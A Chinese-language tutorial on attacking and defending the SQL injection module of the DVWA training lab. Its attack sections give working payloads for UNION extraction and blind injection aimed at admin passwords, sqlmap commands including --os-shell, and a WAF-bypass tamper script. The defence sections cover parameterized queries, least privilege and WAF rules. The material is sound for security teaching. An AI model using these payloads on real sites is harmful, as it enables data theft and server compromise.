DVWA靶场SQL注入攻防实战与防御方案解析

1. 靶场环境与SQL注入基础认知

DVWA（Damn Vulnerable Web Application）作为经典的Web安全演练平台，其SQL注入模块模拟了真实场景中开发者未对用户输入进行过滤导致的数据库漏洞。我第一次接触这个靶场时，发现它完美复现了新手程序员常犯的错误——直接将用户输入拼接到SQL语句中。

SQL注入的本质是通过构造特殊输入，改变原有SQL语句的逻辑结构。比如原本的查询语句是：

sql复制SELECT * FROM users WHERE id='$input'

当攻击者输入' OR '1'='1时，语句变为：

sql复制SELECT * FROM users WHERE id='' OR '1'='1'

这将返回users表中的所有记录。在DVWA的Low安全级别下，你可以直接观察到这种最基础的注入形态。

2. 不同安全等级的突破策略

2.1 Low级别：基于错误的注入

将安全级别设置为Low后，登录页面直接暴露了SQL语句拼接的漏洞。我常用的测试步骤如下：

1. 输入单引号'触发错误，确认存在注入点
2. 使用' OR 1=1 -- 绕过登录
3. 通过' UNION SELECT 1,2,3,4 -- 确定字段数
4. 获取数据库信息：

sql复制' UNION SELECT 1,database(),user(),version() -- 

关键技巧：注释符--后的空格必须保留，这是SQL语法要求。很多新手会忽略这个细节导致Payload失效。

2.2 Medium级别：POST请求与类型转换

Medium级别改用POST提交且参数经过mysql_real_escape_string处理。但存在类型转换漏洞：

1. 使用Burp Suite拦截修改id参数
2. 将参数类型从字符串改为数字：1 OR 1=1
3. 获取表名：

sql复制1 UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() -- 

实测中发现数字型注入不需要引号闭合，这是与Low级别的本质区别。

2.3 High级别：二次注入与Cookie利用

High级别采用弹窗式认证，注入点在Cookie中：

1. 使用浏览器开发者工具修改id的Cookie值
2. 构造延时注入检测漏洞：

sql复制' AND (SELECT SLEEP(5) FROM users WHERE user='admin') AND '1'='1

3. 通过布尔盲注逐字符获取数据：

sql复制' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='a' -- 

3. 自动化工具实战应用

3.1 SQLmap基础扫描

虽然手工注入能加深理解，但实际渗透中常使用自动化工具。以Low级别为例：

bash复制sqlmap -u "http://靶场地址/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low" --batch

关键参数说明：

• --risk=3：启用危险检测（如DROP语句）
• --level=5：提高检测强度
• --os-shell：尝试获取系统shell

3.2 自定义Tamper脚本

遇到WAF防护时，可以编写Tamper脚本绕过。比如对空格过滤的情况：

python复制def tamper(payload):
    return payload.replace(" ", "/**/")

保存为space2comment.py后使用：

bash复制sqlmap ... --tamper=space2comment

4. 防御方案深度解析

4.1 参数化查询示例

以PHP为例，安全写法应该是：

php复制$stmt = $db->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $input); 
$stmt->execute();

4.2 输入过滤的陷阱

很多开发者会尝试用以下方式"防御"：

php复制$input = str_replace("'", "", $input);

但这无法防御：

• 数字型注入（如1 OR 1=1）
• 编码绕过（如%27代替单引号）
• 注释符滥用（如/*!SELECT*/）

4.3 最小权限原则

MySQL账户配置建议：

sql复制CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT ON appdb.* TO 'appuser'@'localhost';
REVOKE DROP, FILE, ALTER ON *.* FROM 'appuser'@'localhost';

5. 企业级防护方案

5.1 WAF规则配置示例

ModSecurity核心规则：

code复制SecRule ARGS "@detectSQLi" "id:10001,phase:2,deny"

5.2 数据库审计日志

MySQL开启审计：

ini复制[mysqld]
plugin-load = audit_log.so
audit_log_format = JSON
audit_log_policy = ALL

5.3 运行时防护

使用RASP技术示例：

java复制// 在JDBC驱动层植入检测逻辑
if (sql.contains("UNION") && !isWhitelisted(sql)) {
    throw new SQLSecurityException();
}

6. 靶场通关的深层价值

通过DVWA的SQL注入模块，我总结出三个维度的收获：

1. 攻击视角：理解Payload构造原理，比如通过CONCAT(CHAR(120,121,122),...)绕过关键词过滤

2. 防御视角：认识到单纯依赖WAF的局限性，需要结合代码审计、权限控制等多层防护

3. 运维视角：掌握数据库监控方法，如定期检查information_schema.PROCESSLIST中的异常查询

最后分享一个排查技巧：当怀疑存在SQL注入时，可以在数据库开启通用查询日志，实时观察执行的SQL语句结构，这比单纯看应用日志更直接有效。